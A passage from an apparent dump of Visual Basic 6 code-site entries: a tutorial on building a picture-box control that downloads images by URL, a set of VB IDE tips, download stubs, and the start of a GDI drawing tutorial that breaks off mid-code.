\n With UserControl \n m_privateResize = True \n .Width = .picBOX.Width \n .Height = .picBOX.Height \n m_privateResize = False \n End With \n End If \n PropertyChanged \"Picture\" \nEnd Property\nThere, that takes care of that. You may\nfind other areas to tweak, but I am just building this the same time I am typing\nso I have not thought of any yet.\nCustom Properties:\nTime to add our custom properties which makes our\nnew version of a picture box different from the default one. We need a new\nproperty named PictureURL that will contain a string to a fully qualified URL to\nan image on the web. Because this property does not correspond back to\nsome other property already of the picture box, we need a place to store it when\nit gets set. So up in the General Declarations section type:\nConst m_def_PictureURL = \"\" \nPrivate m_PictureURL As String\nNow in code type:\nPublic Property Get PictureURL() As String \n PictureURL = m_PictureURL \nEnd Property \nPublic Property Let PictureURL(ByVal New_PictureURL As String) \n m_PictureURL = New_PictureURL \n PropertyChanged \"PictureURL\" \nEnd Property \nPrivate Sub UserControl_InitProperties() \n m_PictureURL = m_def_PictureURL \nEnd Sub\nThis is the statements to read and write to this\nproperty. It will save and read from the m_PictureURL variable we defined\nabove and use the m_def_PictureURL constant as default the first time this\ncontrol is initialized.\nHowever, now we need to go back to our\nReadProperties and WriteProperties to make sure we tell the property bag to\nremember what ever gets set here in design time.\nPrivate Sub UserControl_ReadProperties(PropBag As PropertyBag) \n picBOX.Appearance = PropBag.ReadProperty(\"Appearance\", 1) \n picBOX.BackColor = PropBag.ReadProperty(\"BackColor\", &H8000000F) \n picBOX.BorderStyle = PropBag.ReadProperty(\"BorderStyle\", 1) \n picBOX.AutoRedraw = PropBag.ReadProperty(\"AutoRedraw\", False) \n picBOX.AutoSize = PropBag.ReadProperty(\"AutoSize\", False) \n Set Picture = PropBag.ReadProperty(\"Picture\", Nothing) \n m_PictureURL = PropBag.ReadProperty(\"PictureURL\", m_def_PictureURL) \nEnd Sub \nPrivate Sub UserControl_WriteProperties(PropBag As PropertyBag) \n Call PropBag.WriteProperty(\"Appearance\", picBOX.Appearance, 1) \n Call PropBag.WriteProperty(\"BackColor\", picBOX.BackColor, &H8000000F) \n Call PropBag.WriteProperty(\"BorderStyle\", picBOX.BorderStyle, 1) \n Call PropBag.WriteProperty(\"AutoRedraw\", picBOX.AutoRedraw, False) \n Call PropBag.WriteProperty(\"AutoSize\", picBOX.AutoSize, False) \n Call PropBag.WriteProperty(\"Picture\", Picture, Nothing) \n Call PropBag.WriteProperty(\"PictureURL\", m_PictureURL, m_def_PictureURL) \nEnd Sub\nNote the last lines in each sub. We are\nsaving and reading the private variable we defined and storing that. Once\nagain, the property bag is what remembers what you set in the property window\nwhen you design a form and place controls on it. If you do not use the\nproperty bag, no matter what you set on the property window later will never be\nsaved.\nOk now, CLICK SAVE. You do not want to lose\nwhat you have done so far.\nFinishing our Custom Properties:\nOk, now we need to add the bit that gets an image\nfrom the web. We need to go back to our "Public Property Let PictureURL"\nsub and add some code. This code will get the image from the web for\nus. Type to make our "Public Property Let PictureURL" sub look\nlike this:\nPublic Property Let PictureURL(ByVal New_PictureURL As String) \n m_PictureURL = New_PictureURL \n If (New_PictureURL <> \"\") Then \n AsyncRead m_PictureURL, vbAsyncTypePicture, \"PictureURL\", vbAsyncReadForceUpdate \n End If \n PropertyChanged "PictureURL" \nEnd Property\nThis uses the AsyncRead method to get an image\nfrom the web. Pretty simple huh :) The vbAsyncReadForceUpdate\nargument tells the AsyncRead to always get the picture from the web and ignore\nany cached copy. Maybe later you can change this and provide some new\nproperty to have this as a setting. (nice upgrade to practice with)\nOk almost done. The code above just starts\nthe download. Now we need to get the picture when it is done. For\nthis we use the AsyncReadComplete event of our user control. Go ahead and\ntype:\nPrivate Sub UserControl_AsyncReadComplete(AsyncProp As AsyncProperty) \n On Error Resume Next \n Select Case AsyncProp.PropertyName \n Case \"PictureURL\" \n Set Me.Picture = AsyncProp.Value \n Case Else \n End Select \nEnd Sub\nThe user controls AsyncReadComplete event is\nfired when the download is done. So we ready the AsyncProp object to\ndetermine what was just downloaded. In the earlier code when we started\nthe download, we supplied a name "PictureURL" as the name of the\ndownload (not the file name, but the name associated with the download. \nJust like you name controls when you code). We check to see if this\ndownloaded file is the one we requested, if it is, assign it to the picture\nproperty of the picture box. It is written this way to help you see that\nyou can add more capability to this if you wish and provide multiple downloads\nand what not.\nLast Bit Of Code:\nOk, we are pretty much done, but I think it would\nbe nice to add an event to our control to tell the user/developer using it, that\nthe download is done. So back up in the General Declarations type:\nEvent DownloadComplete()\nThen back in the "Private Sub\nUserControl_AsyncReadComplete" sub, add a line to make it look like this:\nPrivate Sub\nUserControl_AsyncReadComplete(AsyncProp As AsyncProperty) \n On Error Resume Next \n Select Case AsyncProp.PropertyName \n Case "PictureURL" \n Set Me.Picture = AsyncProp.Value \n Case Else \n End Select \n RaiseEvent DownloadComplete \nEnd Sub\nThere, the code side of things is done. \nClick Save. Ok, go for the first compile. Fix any typos and try to\ncompile again until you get a good compile. Now go back to your menu,\nchoose Project, Choose WebPic Properties. Click the component tab. \nTurn on the option for Binary Compatibility (it should be defaulted pointing to\nthe ocx you just made)\nThe reason for this is to make it that when you\nmake changes to your control it will make it so programs already compiled with\nearlier versions of your control will still work. However, depending on\nyour changes, it may warn you that you are breaking compatibility. If you\nbreak it, you should consider compiling under a new name if other programs exist\nusing your older version that are already compiled and released. If there\nare no other programs released, you can break it and then try not to\nagain. Breakage occurs when you alter the declaration of an exposed method\nor property that already existed in the older version. For example, if you\nright now have the PictureURL property but later decided to call it just URL, it\nwill break compatibility. But if you add new properties or methods, or\njust alter code inside existing functions or subs, it will not break. \nFinishing up:\nNow go back to your design view of your user\ncontrol. I suggest sizing the user control down to a better size. \nRemember, the size you set here will become the default size of the control when\nit later gets placed on a form. Also, for the properties of the user\ncontrol, there is a property named: ToolBoxBitmap. Here is where you\nassign an image to use as the image that will appear in the toolbox later\non. For best results make a BMP 16x15. Note it will attempt to read\n(I believe the bottom left pixel, or top left I forget) to determine what color\nit will use as its transparent color. I normally just keep a one pixel\nborder around the image I make and have the background color set to LIME green\nor something to stay out of trouble. Feel free to make it what ever you\nwant or you can do it later.\nTesting:\nOk, time to test. Yeah. Don't close\nthis project but I do suggest closing all design and code windows of the control\n(in your playing around later you will find out why), just go up to File, then\nchoose Add Project. Choose Standard EXE. Click Ok.\nNow over in your project explorer tree right\nclick on the project that just got added and choose Set As Start Up.\nRename the project to whatever you want. \nLike WebPicTest. Then go to the form and rename it to something like\nfrmTEST.\nIn the toolbox you should see either the image\nyou made for your control, or the default generic image if you did not. If\nyou cannot tell, just mouse move over the controls listed as the bottom until\nthe tooltip of one reads the name of your control. Go ahead and click it\nand add it to your form.\nPresto, your control is on a form. Go ahead\nand resize it a bit to make sure our resize code works.\nYeah it does (at least for me). Over in the\nproperties for it, check AutoResize to true.\nThen in the picture property go and browse for an\nimage from your hard drive to test the Picture Property.\nYeah, it worked and it resized right.\nOk, now the real test. Remove the image\nfrom the Picture Property. What we coded really is setup for us to use\neither Picutre, or PictureURL but not really both, it won't crash, but just adds\na little confusion. Anyhow, delete the previous image from the picture\nproperty then in the PictureURL property type: <a href=\"http://microsoft.com/library/homepage/images/init_windows.gif\">http://microsoft.com/library/homepage/images/init_windows.gif</a>\nand press enter. If you left the other picture there, all that would\nhappen is the new web downloaded image would replace it. Ok, time for\ntesting of the events and calling properties in code. First lets delete\nwhat we typed in the PictureURL property. Then for the Picture Property go\nahead and browse and choose an image from your hard drive. The on the code\nfor this test form have it say:\nOption Explicit \nPrivate Sub WebPictureBox1_Click() \n Me.WebPictureBox1.PictureURL = _ \n \"http://microsoft.com/library/homepage/images/init_windows.gif\" \n Debug.Print \"Click\" \nEnd Sub \nPrivate Sub WebPictureBox1_DblClick() \n Debug.Print \"DblClick\" \nEnd Sub \nPrivate Sub WebPictureBox1_DownloadComplete() \n Debug.Print \"Download Complete\" \nEnd Sub \nPrivate Sub WebPictureBox1_MouseDown(Button As Integer, _ \n Shift As Integer, X As Single, Y As Single) \n Debug.Print \"MouseDown\" \nEnd Sub \nPrivate Sub WebPictureBox1_MouseMove(Button As Integer, _ \n Shift As Integer, X As Single, Y As Single) \n Me.Caption = X & \" : \" & Y \nEnd Sub \nPrivate Sub WebPictureBox1_MouseUp(Button As Integer, _ \n Shift As Integer, X As Single, Y As Single) \n Debug.Print \"MouseUp\" \nEnd Sub \nPrivate Sub WebPictureBox1_Resize() \n Debug.Print \"Resize\" \nEnd Sub\nRun your test project.\nClick on your control\nDid it download the image. Did you get all\nyour debug.prints?\nI did. yeah. \nCode Listing Reference:\nOk, here at the end is a listing of all the code\nfor the user control so you can just copy and paste from here if you had any\nproblems:\n<hr>\n\nWebPictureBox (Code)\n\nOption Explicit\nEvent Click()\nEvent DblClick()\nEvent MouseDown(Button As Integer, Shift As Integer, X As\nSingle, Y As Single)\nEvent MouseMove(Button As Integer, Shift As Integer, X As\nSingle, Y As Single)\nEvent MouseUp(Button As Integer, Shift As Integer, X As Single,\nY As Single)\nEvent Resize()\nEvent DownloadComplete()\nConst m_def_PictureURL = ""\n\nPrivate m_PictureURL As String\nPrivate m_privateResize As Boolean\nPrivate Sub picBOX_Click()\n\n RaiseEvent Click\n\nEnd Sub\nPrivate Sub picBOX_DblClick()\n\n RaiseEvent DblClick\n\nEnd Sub\nPrivate Sub picBOX_MouseDown(Button As Integer, Shift As\nInteger, X As Single, Y As Single)\n\n RaiseEvent MouseDown(Button, Shift, X, Y)\n\nEnd Sub\nPrivate Sub picBOX_MouseMove(Button As Integer, Shift As\nInteger, X As Single, Y As Single)\n\n RaiseEvent MouseMove(Button, Shift, X, Y)\n\nEnd Sub\nPrivate Sub picBOX_MouseUp(Button As Integer, Shift As Integer,\nX As Single, Y As Single)\n\n RaiseEvent MouseUp(Button, Shift, X, Y)\n\nEnd Sub\nPrivate Sub UserControl_Initialize()\n\n With UserControl\n .picBOX.Move 0, 0, .ScaleWidth,\n.ScaleHeight\n End With\n\nEnd Sub\nPrivate Sub UserControl_Resize()\n\n If m_privateResize = False Then\n With UserControl\n \n.picBOX.Move 0, 0, .ScaleWidth, .ScaleHeight\n End With\n End If\n RaiseEvent Resize\n\nEnd Sub\nPublic Property Get Appearance() As Integer\n\n Appearance = picBOX.Appearance\n\nEnd Property\nPublic Property Let Appearance(ByVal New_Appearance As Integer)\n\n picBOX.Appearance() = New_Appearance\n PropertyChanged "Appearance"\n\nEnd Property\nPublic Property Get BackColor() As OLE_COLOR\n\n BackColor = picBOX.BackColor\n\nEnd Property\nPublic Property Let BackColor(ByVal New_BackColor As OLE_COLOR)\n\n picBOX.BackColor() = New_BackColor\n PropertyChanged "BackColor"\n\nEnd Property\nPublic Property Get BorderStyle() As Integer\n\n BorderStyle = picBOX.BorderStyle\n\nEnd Property\nPublic Property Let BorderStyle(ByVal New_BorderStyle As\nInteger)\n\n picBOX.BorderStyle() = New_BorderStyle\n PropertyChanged "BorderStyle"\n\nEnd Property\nPublic Property Get AutoRedraw() As Boolean\n\n AutoRedraw = picBOX.AutoRedraw\n\nEnd Property\nPublic Property Let AutoRedraw(ByVal New_AutoRedraw As Boolean)\n\n picBOX.AutoRedraw() = New_AutoRedraw\n PropertyChanged "AutoRedraw"\n\nEnd Property\nPublic Property Get AutoSize() As Boolean\n\n AutoSize = picBOX.AutoSize\n\nEnd Property\nPublic Property Let AutoSize(ByVal New_AutoSize As Boolean)\n\n picBOX.AutoSize() = New_AutoSize\n PropertyChanged "AutoSize"\n\nEnd Property\nPublic Property Get Picture() As Picture\n\n Set Picture = picBOX.Picture\n\nEnd Property\nPublic Property Set Picture(ByVal New_Picture As Picture)\n\n Set picBOX.Picture = New_Picture\n If Me.AutoSize = True Then\n With UserControl\n \nm_privateResize = True\n \n.Width = .picBOX.Width\n \n.Height = .picBOX.Height\n \nm_privateResize = False\n End With\n End If\n PropertyChanged "Picture"\n\nEnd Property\nPrivate Sub UserControl_ReadProperties(PropBag As PropertyBag)\n\n picBOX.Appearance = PropBag.ReadProperty("Appearance",\n1)\n picBOX.BackColor = PropBag.ReadProperty("BackColor",\n&H8000000F)\n picBOX.BorderStyle = PropBag.ReadProperty("BorderStyle",\n1)\n picBOX.AutoRedraw = PropBag.ReadProperty("AutoRedraw",\nFalse)\n picBOX.AutoSize = PropBag.ReadProperty("AutoSize",\nFalse)\n Set Picture = PropBag.ReadProperty("Picture",\nNothing)\n m_PictureURL = PropBag.ReadProperty("PictureURL",\nm_def_PictureURL)\n\nEnd Sub\nPrivate Sub UserControl_WriteProperties(PropBag As PropertyBag)\n\n Call PropBag.WriteProperty("Appearance",\npicBOX.Appearance, 1)\n Call PropBag.WriteProperty("BackColor",\npicBOX.BackColor, &H8000000F)\n Call PropBag.WriteProperty("BorderStyle",\npicBOX.BorderStyle, 1)\n Call PropBag.WriteProperty("AutoRedraw",\npicBOX.AutoRedraw, False)\n Call PropBag.WriteProperty("AutoSize",\npicBOX.AutoSize, False)\n Call PropBag.WriteProperty("Picture",\nPicture, Nothing)\n Call PropBag.WriteProperty("PictureURL",\nm_PictureURL, m_def_PictureURL)\n\nEnd Sub\nPublic Property Get PictureURL() As String\n\n PictureURL = m_PictureURL\n\nEnd Property\nPublic Property Let PictureURL(ByVal New_PictureURL As String)\n\n m_PictureURL = New_PictureURL\n If (New_PictureURL <> "")\nThen\n AsyncRead\nm_PictureURL, vbAsyncTypePicture, "PictureURL", vbAsyncReadForceUpdate\n End If\n PropertyChanged "PictureURL"\n\nEnd Property\nPrivate Sub UserControl_InitProperties()\n\n m_PictureURL = m_def_PictureURL\n\nEnd Sub\nPrivate Sub UserControl_AsyncReadComplete(AsyncProp As\nAsyncProperty)\n\n On Error Resume Next\n\n Select Case AsyncProp.PropertyName\n Case "PictureURL"\n \nSet Me.Picture = AsyncProp.Value\n Case Else\n End Select\n RaiseEvent DownloadComplete\n\nEnd Sub\n\n<hr>\nI hope this all works out. I also hope you\nlearned something. At least you got a new control. One final thing I\nwould do is back in the WebPic project. I would open the Object Browser,\nthen for each of the properties of our new control, define tips to display in\nthe property window (the area on the bottom of the property window that tells\nyou what a property does) and also pick what event I would want as my default\nevent. While this option is nice and make a control more professional, it\nis just too much to explain here and requires another lesson.\nFeel free to email if you have any questions:\n<a href=\"mailto:lafeverc@hotmail.com\">lafeverc@hotmail.com</a>\n-Clint LaFever \n<a href=\"http://lafever.iscool.net\">http://lafever.iscool.net</a> or <a href=\"http://vbaisc.iscool.net\">http://vbaisc.iscool.net</a>\n "},{"WorldId":1,"id":31492,"LineNumber":1,"line":"Take Advantage of Related Documents Area In Project Window\nIf you use a resource file in your application, you can see the RES file\nappear in the project window under "Related Documents." This is\nthe only type of file that VB automatically adds to this node of the project\ntree. You can add any type of file you like to this area manually,\nthough. From the Project menu, selected Add File, or right click on the\nproject window and select Add File from the context menu. In the dialog\nbox, select All Files for the file type and check the Add As Related Document\noption. Adding additional related files here helps organize your project\nand gives you quick access to useful items, including design documents,\ndatabases, resource scripts, help project files, and so on. Once a file\nhas been added, double-click on it in the project window to open it with the\nappropriate application.\n<hr>\nBrowse VB Command as You Type\nWhen you refer to an object in VB, you get a dropdown list of that object's\nproperties and methods. But, did you know that the statements and functions\nof the VB language can be pulled up in the same way. You can view the list\nas you type in one of two ways. One (which just shows how it all works) is\nto type VBA. then the list will appear. There you can see the list off all\nVB functions and have it filter down as you type. The quicker way is to\njust press CTRL+SPACE prior to typing your VB function/command. i.e.; \nOn a blank line press CTRL+SPACE then type ms At this point it should be\nat MsgBox. While yes most commands are short enough that the CTRL+SPACE\ndoes not really save you any time, but one you will not having any typos and\ntwo, it will help you remember/find a call that you do not use much.\n<hr>\nUse the Watch Window to Drill Down into Objects/Collections During Debug\nAll of know about the immediate window, but I find very few developers who\nknow of the Watch Window. The watch window is a very nice tool to drill\ndown any any variable whether it is a standard type or an object or a\ncollection. For an example, open on of your database project where you\nopen a recordset. Set a break point after you open your recordset. \nRun your code. When you hit your break point, highlight your recordset\nvariable right there on that line (double click on it too for quicker\nhighlighting). Now right click your highlighted variable and choose Add\nWatch. On then next window click Ok. Presto your recordset variable\nshow now be displayed in the Watch Window. You can expand it out and drill\ndown to all the properties within. Not only is this a good tool to use to\ninspect your objects and collections at runtime, but also a good teaching tool\nto help those trying to understand objects and how they are constructed.\n<hr>\nShow the Standard File Properties Dialog\nIf your program has an Explorer shell-style interface, you probably want to\nsupply the standard File/Properties dialog. Do this by using the\nShellExecuteEX API function:\nPrivate Type SHELLEXECUTEINFO \n cbSize as Long \n fMask as Long \n hWnd as Long \n lpVerb as String \n lpFile as String \n lpParameters as String \n lpDirectory as String \n nShow as Long \n hInstApp as Long \n lpIDList as Long \n lpClass as String \n dwHotKey as Long \n hIcon as Long \n hProcess as Long \nEnd Type\nPrivate Declare Function ShellExecuteEX Lib _ \n "shell32" (lpSEIAs SHELLEXECUTEINFO) As Long \nPrivate Const SEE_MASK_INVOKELIST=&HC\nPrivate Sub ShowFileProperties(ByVal aFile as\nString,h as Long) \n Dim sei as SHELLEXECUTEINFO \n sei.hWnd=h \n sei.lpVerb="properties" \n sei.lpFile=aFile \n sei.fMask=SEE_MASK_INVOKEIDLIST \n sei.cbSize=len(sei) \n ShellExecuteEX sei \nEnd Sub\nPlease note I typed this directly in here and not in the IDE so there may be\ntypos.\n<hr>\nStart Up in Your Code Folder\nFor the shortcut you use to open VB, change the Start In in the Properties of\nthe shortcut to point to the folder you prefer to have as the default Open and\nSave to start at. \n<hr>\nTrick the P&D Wizard\nDo you have external files to your application that you want to make sure are\nalways included with your application when you go and create a new setup for\nit. Just use this little trick:\n#If False Then \n Private Declare Sub Foo Lib "VIDEO.AVI" () \n#End If\nVB will ignore this statement but the P&D Wizard will not. The\nP&D Wizard will pick up this line and also remember to add this file to the\nlist of files required for your application.\nI know this is not really all that useful, but it is a nice trick.\n<hr>"},{"WorldId":1,"id":31550,"LineNumber":1,"line":" Ok, I wrote too much this time. PSC said I have too many characters. Dang. So, you will have to go to the ZIP this time. In the ZIP I have the HTML document for the article and also the source files for the DLL it walks you through making. While you can just refer to my files for that, when you get to the end where we use the DLL, you will still have to compile my code, then follow the article to make the test project showing how to use the DLL."},{"WorldId":1,"id":30696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29988,"LineNumber":1,"line":"I couldn't upload again you can get it here:\nhttp://prdownloads.sourceforge.net/cedit/cEdit.zip"},{"WorldId":1,"id":33821,"LineNumber":1,"line":"Due to size could not upload here. Download at:\nhttp://cedit.sourceforge.net/vbspaceshooter.zip"},{"WorldId":1,"id":21196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11491,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29757,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>New Page 1</title>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"../../vbgames.css\">\n<meta name=\"Microsoft Border\" content=\"t, default\">\n</head>\n<body>\n┬á\n<h4>About this tutorial:</h4>\nThis tutorial by Simon Price is part of a series held at <a href=\"http://www.VBgames.co.uk\">http://www.VBgames.co.uk</a>.\nIt requires a good knowledge of Visual Basic programming. This tutorial come\nwith an example program with VB6 source code, which can be downloaded from <a href=\"http://www.VBgames.co.uk/tutorials/gdi/dcs.zip\">http://www.VBgames.co.uk/tutorials/gdi/pensbrushes.zip</a>\nand possibly from other websites hosting this tutorial (such as PSC).\n<h4>Before you begin:</h4>\nHave you read the previous tutorial - Device Contexts? If not, please\nread that first, because this tutorial builds upon the knowledge and code of the\nprevious tutorial.\nPixels\nA bitmap has dimensions of width and height measured in pixels. A pixel is\nthe smallest part of a bitmap which can be changed. It's a little dot. Drawing\nanything, whether it's a line, a circle, or a 3D model in the latest 3D shoot-em-up,\nat the end of the way, it comes down to drawing pixels. So a pixel is the first\n\"shape\" to learn to draw, since everything else relies upon it.\n<h4>32 Bit Color</h4>\nAll colors in the Windows API graphics functions are given in a 32 bit (4\nbyte) integer - the Long data type in VB. 1 byte is red, 1 byte green, 1 byte\nblue, 1 byte is reserved and currently does nothing (<hint> you can use\nthe last byte for yourself - maybe store alpha values!? </hint>). VB comes\nwith the RGB function for creating these 32 bit colors.\n<h4>API functions for pixels</h4>\nHere are the API functions used for pixels:\n<hr>\n Declare Function GetPixel Lib \"gdi32\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long) As Long\n GetPixel - returns the color of a pixel in a device context, given\nit's x and y coordinates\n<hr>\nPrivate Declare Function SetPixelV Lib \"gdi32\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long\n SetPixelV - Sets the color of a pixel in a device context\n<hr>\n<h4>Reading and Writing Pixel Colors</h4>\nPixels are read and written with the GetPixel and SetPixelV\nfunctions. Here is the code to read and write pixel colors, it is pretty much\nself-explanitory:\n' gets an individual pixel color in long format \nPublic Property Get Pixel(x As Long, y As Long) As Long \nOn Error Resume Next \n┬á┬á┬á Pixel = GetPixel(Me.hDC, x, y) \nEnd Property\n \n' sets an individual pixel color in long format \nPublic Property Let Pixel(x As Long, y As Long, Color As Long) \nOn Error Resume Next \n┬á┬á┬á SetPixelV Me.hDC, x, y, Color \nEnd Property\n<h4>Shapes</h4>\nIt would be possible for us to draw other shapes using the pixel drawing\nfunctions we just learnt. If you want, feel free to go do just that! However,\nWindows comes with functions to draw several common shapes, which are easy to\nuse, and faster than what you could make in your own software VB-coded\nimplementations of the same functions. I suggest you learn the Windows API\nrather than doing it yourself. No need to re-invert the wheel yet.\n<h4>API functions for shapes</h4>\nHere are the API functions used for shapes:\n<hr>\nPrivate Declare Function MoveToEx Lib \"gdi32\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, lpPoint As POINTAPI) As Long\n MoveToEx - set the current cursor of the device context\n<hr>\nPrivate Declare Function LineTo Lib \"gdi32\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long) As Long\n LineTo - draws a line from the current cursor position to the\nspecified point\n<hr>\nPrivate Declare Function Rectangle Lib \"gdi32\" (ByVal hDC As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\n Rectangle - draws a rectangle given two opposing points\n<hr>\nPrivate Declare Function Ellipse Lib \"gdi32\" (ByVal hDC As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\n Ellipse - draws an ellipse, given the opposing points of an imaginary\nrectangle what would fit around the ellipse\n<hr>\nPrivate Declare Function Polygon Lib \"gdi32\" (ByVal hDC As Long, lpPoint As POINTAPI, ByVal nCount As Long) As Long\n Polygon - draws a polygon of any number of sides, given a pointer to\nand array of 2D points, and the number or points\n<hr>\nPrivate Declare Function Arc Lib \"gdi32\" (ByVal hDC As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long, ByVal X4 As Long, ByVal Y4 As Long) As Long\n Arc - Draws and arc\n<hr>\nPrivate Declare Function ArcTo Lib \"gdi32\" (ByVal hDC As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long, ByVal X4 As Long, ByVal Y4 As Long) As Long\n ArcTo - draws an arc\n<hr>\nPrivate Declare Function Pie Lib \"gdi32\" (ByVal hDC As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long, ByVal X4 As Long, ByVal Y4 As Long) As Long\n Pie - draws sector of a circle\n<hr>\nPrivate Declare Function ExtFloodFill Lib \"gdi32\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long, ByVal wFillType As Long) As Long\n ExtFloodFill - floods an area with a color\n<hr>\nPrivate Declare Function FloodFill Lib \"gdi32\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long\n FloodFill - floods an area with color until a border color is found\n<hr>\nPrivate Declare Function FillRect Lib \"user32\" (ByVal hDC As Long, lpRect As RECT, ByVal hBrush As Long) As Long\n FillRect - fills a rectangle with a pattern from a brush\n<hr>\nPrivate Declare Function PatBlt Lib \"gdi32\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal dwRop As Long) As Long\n PatBlt - fills a rectangle with a pattern\n<hr>\nPrivate Declare Function GetPolyFillMode Lib \"gdi32\" (ByVal hDC As Long) As Long\n GetPolyFillMode - returns the current polygon filling mode\n<hr>\nPrivate Declare Function SetPolyFillMode Lib \"gdi32\" (ByVal hDC As Long, ByVal nPolyFillMode As Long) As Long\n SetPolyFillMode - sets the current polygon filling mode\n<hr>\nPrivate Declare Function GetTextColor Lib \"gdi32\" (ByVal hDC As Long) As Long\n GetTextColor - returns the current text color\n<hr>\nPrivate Declare Function SetTextColor Lib \"gdi32\" (ByVal hDC As Long, ByVal crColor As Long) As Long\n SetTextColor - sets the current text color\n<hr>\nPrivate Declare Function GetTextAlign Lib \"gdi32\" (ByVal hDC As Long) As Long\n GetTextAlign - returns the current text alignment mode\n<hr>\nPrivate Declare Function SetTextAlign Lib \"gdi32\" (ByVal hDC As Long, ByVal wFlags As Long) As Long\n SetTextAlign - sets the current text alignment mode\n<hr>\nPrivate Declare Function TextOut Lib \"gdi32\" Alias \"TextOutA\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long) As Long\n TextOut - draws a specified string of text on a device context using\nthe current text color and alignment\n<hr>\n<h4>Lines</h4>\nLines are drawn with the MoveToEx and LineTo functions. A\ndevice context has a current drawing position - a 2D coordinate, like a cursor.\nTo draw a line, we must put the \"cursor\" to one end of the line, then\ndraw a line between the cursor and the other end of the line. That was a lame\nexplanation, just look at the code and it's easily understood:\n' draws a line \nPublic Sub DrawLine(X1 As Long, Y1 As Long, X2 As Long, Y2 As Long) \nDim Point As POINTAPI \nOn Error Resume Next \n┬á┬á┬á MoveToEx hDC, X1, Y1, Point \n┬á┬á┬á LineTo hDC, X2, Y2 \nEnd Sub \n\n<h4>Rectangles (and squares)</h4>\nA rectangle is drawn with the Rectangle function. A rectangle is\nspecified by the coordinates of 2 opposing corners. There is no need to specify\nthe other 2 corners since they can be worked out from the given points. Here is\nthe code to draw a rectangle:\n' draws a rectangle \nPublic Sub DrawRectangle(X1 As Long, Y1 As Long, X2 As Long, Y2 As Long) \nOn Error Resume Next \n┬á┬á┬á Rectangle hDC, X1, Y1, X2, Y2 \nEnd Sub\nNote that squares are drawn in the same way, because a square is just a\nspecial type of rectangle where X2 - X1 = Y2 - Y1.\n<h4>Ellipses (and circles)</h4>\nAn ellipse is drawn with the Ellipse function. An ellipse is specified\nby an imaginary rectangle what would fit around the ellipse. Here is the code to\ndraw an ellipse:\n' draws an ellipse \nPublic Sub DrawEllipse(X1 As Long, Y1 As Long, X2 As Long, Y2 As Long) \nOn Error Resume Next \n┬á┬á┬á Ellipse hDC, X1, Y1, X2, Y2 \nEnd Sub \n\nNote that circles are drawn in the same way, because a circle is just a\nspecial type of ellipse where X2 - X1 = Y2 - Y1.\n<h4>Drawing Polygons</h4>\nPolygons are drawn with the Polygon function. Polygons are made from\nmany points joined up. Examples of polygons include triangles, quadrilaterals,\npentagons, hexagons, heptagons, octagons, nonagons, decagons, dodecagons etc.\nHere is the function to draw any polygon:\n' draws a polygon \nPublic Sub DrawPolygon(x() As Long, y() As Long) \nDim Point() As POINTAPI \nDim i As Long \nOn Error Resume Next \n┬á┬á┬á ReDim Point(LBound(x) To UBound(x)) \n┬á┬á┬á For i = LBound(x) To UBound(x) \n┬á┬á┬á┬á┬á┬á┬á Point(i).x = x(i) \n┬á┬á┬á┬á┬á┬á┬á Point(i).y = y(i) \n┬á┬á┬á Next \n┬á┬á┬á Polygon hDC, Point(LBound(Point)), UBound(Point) - LBound(Point) + 1 \nEnd Sub\nThe most commonly drawn polygon is a triangle, so here is an optimised\nversion of the function, just for triangles:\n' draws a triangle \nPublic Sub DrawTriangle(X1 As Long, Y1 As Long, X2 As Long, Y2 As Long, X3 As Long, Y3 As Long) \nDim Point(1 To 3) As POINTAPI \nOn Error Resume Next \n┬á┬á┬á Point(1).x = X1 \n┬á┬á┬á Point(1).y = Y1 \n┬á┬á┬á Point(2).x = X2 \n┬á┬á┬á Point(2).y = Y2 \n┬á┬á┬á Point(3).x = X3 \n┬á┬á┬á Point(3).y = Y3 \n┬á┬á┬á Polygon hDC, Point(1), 3 \nEnd Sub\n<h4>Drawing Patterns</h4>\nA rectangular region can be filled with a common hatched pattern with the PatBlt\nfunction. Here is the code to do that:\n' fills a rectangle with a pattern \nPublic Sub DrawPattern(Optional x As Long = 0, Optional y As Long = 0, Optional lWidth As Long = 0, Optional lHeight As Long = 0, Optional RasterOp As PATBLT_RASTEROP = PR_PATCOPY) \nOn Error Resume Next \n┬á┬á┬á If lWidth = 0 Then lWidth = Width \n┬á┬á┬á If lHeight = 0 Then lHeight = Height \n┬á┬á┬á PatBlt hDC, x, y, lWidth, lHeight, RasterOp \nEnd Sub \n\n<h4>Drawing Text</h4>\nA string of text can be draw with the TextOut function. Here is the\ncode to draw text at a specified position on the device context:\n' draws a text string \nPublic Sub DrawText(str As String, Optional x As Long = 0, Optional y As Long = 0) \nOn Error Resume Next \n┬á┬á┬á TextOut hDC, x, y, str, Len(str) 